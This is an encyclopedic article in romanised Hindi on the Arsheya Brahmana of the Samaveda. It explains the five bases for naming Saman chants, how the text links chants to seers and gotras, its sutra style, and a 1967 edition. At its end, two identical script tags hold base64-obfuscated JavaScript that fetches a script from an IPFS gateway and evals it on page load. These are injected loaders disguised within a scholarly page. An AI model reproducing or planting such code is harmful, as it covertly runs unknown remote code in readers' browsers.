आर्षेय ब्राह्मण

samavediy brahman ke madhy arshey brahman ka chaturth sthan hai. isake pratipady ke sandarbh mean, grantharambh mean kaha gaya hai- 'ath khalvayamarshapradesho bhavati' tadanusar isamean samaved ke rrishiyoan se sambaddh vivaran hai. namadhey se bhi yahi spasht hota hai, kintu vyavaharat: n to yah sam-gan ke rrishiyoan ka kathan karata hai aur n hi rrishi-gayakoan ki hi vyapak soochi prastut karata hai. isamean keval ganoan ke nam unake prasiddh namantaroan ke sath pratatt hai. pray: ganoan ke nam un rrishiyoan ke nam par haian, jinhoanne unaki yojana ki hai. atev arshey brahman ka namakaran is drishti se sarthak hai ki isaki vishay-vastu rrishiyoan se sambaddh hai. char prakar ke sam-ganoan mean se arshey ka sambandh matr pratham do ganoan-gramagey aur aranyagey se hai, jo mahanamnyarchik ke sath milakar samasanhita ke poorvarchik bhag ke antargat haian. arshey brahman ooh aur oohyaganoan par vichar nahian karata. samaganoan ka namakaran pray: paanch adharoan par hua hai, jinake karan ganoan ki paanch kotiyaan ban gee haian. ganoan ka namakaran jin adharoan par hua hai, vean ye haian-

1. un rrishiyoan ke namoan ke adhar par, jinhoanne unaka sakshatkar kiya, yatha-saindhukshit, aushan adi.
2. rrikh ke prarambhik padoan ke adhar par, jaise vishovishiy, yajnayajniy adi.
3. nidhan (gan ka antyabhag) ke adhar par, jaise-sutan rayishthiy, davasunidhan ityadi.
4. prayojanamoolak, jaise sanvarg, rakshoghn ityadi.
5. jo inamean se kisi shreni mean nahian ate, jaise vink, ityadi.

inamean se pratham koti ke nam hi unake sakshatkarta rrishiyoan ke namoan par prakash dalate haian. any char prakar ke namoan ki sthiti isake viparit hai. is karan arshey brahman ganoan ke nam dete samay unake rrishiyoan ke namoan ka bhi ullekh kar deta hai, yatha-'agnevaianshvanarasy yajnayajniyamh', 'prajapate: sutan rayishthiye', 'agnevaianshvanarasy rakshoghnamatrairva vasishthasy vinkamh' ityadi. is sandarbh mean yah ullekhy hai ki kabhi-kabhi kisi gan ke rrishi ka namakaran us gan ke adhar par dikhalaee deta hai, jisaki usane yojana ki. aisi sthiti mean us rrishi ki prasiddhi kisi upanam se ho jati hai aur vastavik nam vismaran ke gart mean nimagn ho jata hai, kintu arshey brahman mean us rrishi-nam ke sath gotr-nam ka bhi ullekh hai, jaise 'davasunidhan' gan ke rrishi haian davasu aur 'havishmath' gan ke rrishi haian havishmanh; in donoan rrishiyoan ka namakaran ganoan ke nidhanabhag kramash: 'davasoo' 2345 aur 'havishmate' 2345 ke adhar par hua hai; kintu in ganoan ka ullekh karate samay arshey brahman yah kahana nahian bhoolata ki prakrit ganadrashta rrishiyoan ka sambandh aangira gotr se hai.

arshey brahman ki rachana sootr-shaili mean huee hai jo samaved ke anubrahmanoan ki visheshata hai. arshey brahman mean gramageyaganoan ka ullekh sanhitoktakram se hai. arshey brahman ke anusar sam-ganoan ke rrishi-namoan aur unake gotroan ke jnan se svarg, yash, dhanadi phaloan ki prapti hoti hai-

rrishinaan namadheyagotropadharanamh.
svagry yashasyan dhanyan punyan putryan pashavyan brahmavarchasyan smarttamayushyamh.

is brahman ka adhyayan prat: pratarash se poorv hona chahie- 'prakh pratarashikamityachakshate' arshey brahman ka tirupati sanskaran 1967 mean bi.ar. sharma dvara sampadit hokar prakashit hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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